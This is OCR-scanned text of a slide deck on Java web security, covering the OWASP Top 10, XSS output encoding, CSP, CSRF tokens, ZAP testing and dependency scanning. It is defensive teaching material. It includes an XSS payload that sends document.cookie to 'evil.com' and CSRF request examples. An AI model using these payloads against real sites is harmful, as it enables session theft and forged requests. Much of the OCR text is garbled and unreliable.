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,,oecurity should be
backed in from the
beginning.*

,,d€ecurity is a
brocess, not a one
time task.*



Security requirements are rarely explicitly defined




Incorrect Calculation of Buffer Size §, Use of Potentiallly Dangerous Function
SQL Injection < ¥
Sensitive Data Exposure 5
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Path Traversal

a. Injection
Missing Authorization
Reliance on Untrusted Inputs in a Security Decision
Unrestricted Upload of File with Dangerous Type
Integer Overflow or Wraparound
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Open Redirect

Missing Authentication for Critical Function

Broken Authentication and Session Management
‘Using Components with Known Vulnerabilities
Download of Code Without Inte

Use of Hard-coded Credentials
Buffer Overflow
0S Command Injection
‘Use of a Broken or Risky Cryptog
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~ _Incorrect Authorization
Execution with Unnecessary Privileges

Missing Function Level Access Control

Use of a One-Way Hash without a Salt
Missing Encryption of Sensitive Data

Cross-Site Request Forgery (CSRF)

Unvalidated Redirects and Forwards

Improper Restri

O
o

n of Excesswe Authentication Attempts

Uncontrolled Format Strin






OWASP TOP 10 2013

01 - Injection

02 - Broken Authentication and Session Management
03 - Cross-Site Scripting (XSS)

04 - Insecure Direct Object References

05 - Security Misconfiguration

06 - Sensitive Data Exposure

07 - Missing Function Level Access Control

08 - Cross-Site Request Forgery (CSRF)

09 - Using Components with Known Vulnerabilities
10 - Unvalidated Redirects and Forwards






Examine the web application environment




Model all data entering and leaving your system
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Do not trust any part of an HT TP(S) request




HTTPS guarantees secure transport, nothing more




Defense-in-depth: one layer is never enough




Start with one concrete and definable problem

Something you can...

1. reproduce (hack yourself)
2. fix
3. and verify

yourself.




Using Cross-Site Scripting to retrieve session ids

O, \
@ ¥ localhost:8080/Ch07_XSS/showCustomers. xhtmi?currency=Euro

JSESSIONID=76E4D2777292BAEE1DEBESBEAB17E722

el




Website defacement

<script>
document .body.innerHTML ( "XSS") ;
</script>

Session theft

<script>
var img = new Image();
img.src = "http://evil.com?" +

document.cookie;
</script>



Persistent and reflected Cross-Site Scripting

Attac ker , -




Properly escape (encode) all output data
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Encode all output for the proper context

XSS

<script>alert("XSS")</script>

For HTML
&lt;scripté&gt;alert (&#34;XSS&#34;)&1lt;/scripté&gt;

For CSS
\3cscript\3e alert(\22XSS\22)\3c\2fscript\3e

For XML
&§lt;script&gt;alert (&#34;XSS&#34;)&1lt;/scripté&gt;



OWASP Java Encoder

String encHTML = Encode.forHtml (name);

String encCSS Encode.forCssString(name);

String encXML Encode. forXml (name) ;

forUri (String input) String @ ing input) String

¢

Attribute (String input) String

-~

orJavascript (String input) String
astring input) void
forXalComment (String input) string

orJava (5tring input) String

rJava (Writer out, String input void

ing (String input) string LContent (String input) String

tribute (S5tring input) string TOrCOATA (Writer out, String input void

forCssString (Writer out, String input) void

ing input) String

’ 552
TorCssuri (|

Writer out, L : t) void

TOrHtalAttribute (Writer out, String input) void

forital (Writer out, String input void
orHtmlContent (String input) string

orCDATA (S g input) String forHtalContent (Writer out, String input) oid

input) String forHtalUnquotedAttribute (Writer out, String input) oid

orHtelUnquotedAttribute (String input) String vaScriptAttribute (Writer out, 5tring input) old

forJavaScriptAttribute (String inpu String priavaScriptBlock (Writer out, String input) void

forJavaScript (Writer out, String put) void rJavascriptSource (Writer out, String input) void
3
’

'“'jawdSarlai3l3Cki$t{1ng 1nout Strlng orUriComponent (Writer out, 5t Y 1nput) void

{+] tSource (String input String

forXmlAttribute (Writer out, S in ﬁ void
forUriComponent (String input) String LC

Torxa
ViN

omment (Writer out, String 14 void
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rorXatContent (Writer out, String input) void

forUri(Writer out, String input void



Define the Content Security Policy (CSP) header

Different directives
»default, object, script,
connect, font, frame, img,
media, style
»\Whitelist URLs




response.addHeader (
"Content-Security-Policy",
"default-src 'self'”

) 7
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Test your XSS protection

1
|

Scnipts |

o |0 | e DIENE NS @

_Untitled Session - OWASP ZAP

-
i Dl oIX B4 mE o
. 9 Schnelistart =+ Request o= Response _ Skripting-Konsole |

¥ . P hetp/Nocahost 8080
YR e x”
i GET styles. css

Method i) | Meader:Text : | Body:Table 3 | M.

[POST http://localhost: B080/XSS/ javatncoder. Jsp HTTP/1.1

‘Most: localhost: 8080

User-Agent: Mozilla/sS.9 (Macintosh; Intel Mac 05 X 10.9; rv:i31.0) Gecko/20109101 Firefox/31.0
Accept: text/hMtal,application/xhtalexnml, application/xml;qe0.9,+/+;0+0.8

Accept-Language: de,en-US;q=0.7,en;q=0.3

Referer: http://localhost: 8080/X55/

‘Cookie: JSESSIONID=ES71C442465800F 22CED2F6566880315

Connection: keep-alive

‘Content-Type: application/x-wwaw-Tors-urlencoded

:(ontent ~Length: 19

| Type Pas armter Naone Value funcuons ;

T Y - /5755 < i ]| Addins : |

form | Addins : )

!

_ 9 Search X Break Points P Alens D Active Scan & Speder 7 “Forced Browse” © Fuzzer " Params “ Hup Sessions  p |

@ @ | FilterOFF

"] Req. Timestamg Method URL Code Reason RTY Size Resp. Body Heghest Alert Note Tags ®

130/08/14 13:16:14 CET hitp //localhost 8080 /XSS5/styles.css 200 OK 43ms 111 bytes ~ Low

| Alerts 0 0 =2 P11

Curremt Scans A 0 0 0 0 @0 %0



DEMO

JavaSecurity = XSS



XSS may undermine other protection measures
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Using Cross-Site Request Forgery to foist requests




CSRF utilizes fire and forget requests




<img src="Servlet-URL?name=CSRF"
width="0" height="0" />

v

vold doGet (HttpServletRequest req,
HttpServletResponse res) {
String name = reg.getParameter (' "name");

/] ...



var request = new XMLHttpRequest();
request.open( 'POST", "Servlet-URL");
request.send( 'name=CSRF") ;

v

vold doPost (HttpServletRequest req,
HttpServletResponse res) {
String name = reqg.getParameter('name'");

/] ...



Random token per user and per session (request)




Spring Security

<form action="OrderServlet" method="post">
<input type="hidden"

name="${ csrf.parameterName}"

value="${ csrf.token}"/>

<label for="product">Product</label>
<input type="text" i1d="product"”
name="product" />

<!_ e o o __>

<input type="submit" wvalue="Order" />
</form>



Test your CSRF protection

00 [Crm-wmmum(c x

J JChe Oder Adresse eingeden
&) ¢

Croundspeed »
iy Cross-Site Request Forgery (CSRF)
T T —

CSRF_TOKEN (MIDOEN) CSRAF_TOKEN = 37468304186845761
product (TEXT) .
quantity (TEXT) Product Quantity Order

<unknown> (SUBMIT)

Atributes

type = hidden 0o Usttied Session - OWAS? IA?

value « 37468304186845761 | Sandardmede | TulpiW A0 e DISIE DT O L e sliioixmaAnD v
name = CSRF_TOKIN gty y Schoalntan = Baguest o= Besporne — SAngtng- Lonioe

v @ Fsan Method I MeaderTeat 2  Booy Take :
v i ™ ep /fecabeu 8082
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DEMO

JavaSecurity = CSRF-spring-security












Scan regularly with OWASP Dependency Check

® 00 (L] Ch07_XSS — bash — 63x5
Last login: Sun Apr 20 13:58:32 on ttys001

marvin:Ch@7_XSS dos$ dependency-check.sh ——app Ch@7_XSS ——out .

--scan target/dependency

U Nals

| B Oependency Oreck Repont > w* o
¢ C OO nN -8 =
Dependency-Check Report
Project: CSRF-spring-security
Scan Wormaton (show &)

o Jependency-check version: ' 2 4
* Report Gensated On Sep 1. 200 ot M 2517 MEST

Cependency # Relsted CPE GAY CVE mpact CVE Count CPE Confidence Evidente Coumt

eorg-securty-core-3 2. 4 RELEASE e 1 CO/R 00N0ICUNTE S0000 Faneworh ) 2 4 Meodharn 3 HIGHEST 13
CoN 8 vmware S0 geource prng ramework 3 2 4
CPO/a VmWare SOANgIOUTTe_Spring socurity 3 2 4

Dependencies
spring-security-core-3.2. 4 RELEASE jar

Fie Path: tarpet Sogendency sprng securty core- 3 2 4 RELEASE
MDS: BEBD1ACDOCEMS2TEIESADBCI20108

SHMAL; 4030CATINEARZ 1 EBFFATDOOFACTICCTRC 15690 TF




Integrate Dependency Check into Jenkins builds

Post Steps

9 Run only If buld succeeds Run only If buld succeeds or IS unstable Run regardiess of buld result
Should the post-budd steps run only for successiul budds, ete.

Invoke OWASP Dependency-Check analysis
Path to scan er/target/ear-1.0,0Ab, engine/target/engine- 1.0.0/WEB-INF/WD, web/target/web- 1.0.0/WEB- INF/WD

Output directory

Data directory /1enions_workspace/gependency - check-data
Suppression file

ZIP extensions

Disable CPE auto-update

Enable verbose logong

Generate optional HTML reports

Skp If triggered by SCM changes

POoCOOOOOOOP®

Skop If tnggered by upstream changes |

Dependency-Check Warnings
Details

Fhviaces core aph 3.5 0 el b . CVE 2014 0006 , Severity! Medham

The dofler function in webapp/ Pushitandior? Ber Javs in Joss RChI aces 4.4, 405, and S.x alows remote aflackers 10 cause 4 derial of service (memory convempion and out of
memsory error ) via 4 lrge sumber of mallormed stmosphere push reguests,

CVESv2 Score 4

MET Refererce O 2014 000 Dep.lbdcllcy‘dm T' .'w
Catogory Ot - 20 Ivgroper Ingas Valdason -
Reterences Sources  CONFIRM =

Noaswrva NEDs L bugaie redhat comywhow bug ™ - L0678

1 DA gt tedbal Lo shewm DN Lo 007088

Source:  CONWIARm

Lo DS PRy comypsieg fuore LAvomewi B ] 3171 5005 er T4 T340 T 2 A T 2e M Y 00 TS Y -
- DA LU SANS LomSsiegl ot AomenUB LI L LS00 0e 7 284 13420 1 24 T 208 2 20730 § 14
A=
Source: CONFIAM
Nseve NE0e asoes jhoas orgbromne B -1 11%0
Ll DOSS S8t JL0as O o W 11230
Sources  SECOUNA
L I
B DS LS00 SO ASSSORA TN - -
f! = 8 =
4 ~ - LA
.~ -
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0 Start with the vulnerabilities
you can addressé'
0 Web application h
XSS-free "
0 Remember security
maintenance and . o

your 3rd-party-lios.
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BridginglT GmbH

Konigstralle 42
70173 Stuttgart

Demo Projects
github.com/dschadow/JavaOne

CWE/SANS Top 25 Most Dangerous
Software Errors
cwe.mitre.org/top25

OWASP TOP 10 2013
www.owasp.org/index.php/
Category:OWASP_Top_Ten_Project

Content Security Policy
www.w3.0rg/TR/CSP

Microsoft Threat Modeling Tool
www.microsoft.com/en-us/download/
details.aspx?id=42518

oridging I T

dominik.schadow @bridging-it.de
www.bridging-it.de

Blog https://blog.dominikschadow.de
Twitter @dschadow

Hibernate Validator
hibernate.org/validator

OWASP Java Encoder
www.owasp.org/index.php/
OWASP_Java_Encoder_Project

OWASP ZAP J ava
www.owasp.org/index.php/ Web
OWASP_Zed_Attack_Proxy_Project SeCU rlty

OWASP Dependency Check
www.owasp.org/index.php/
OWASP_Dependency_Check

Pictures
www.dreamstime.com
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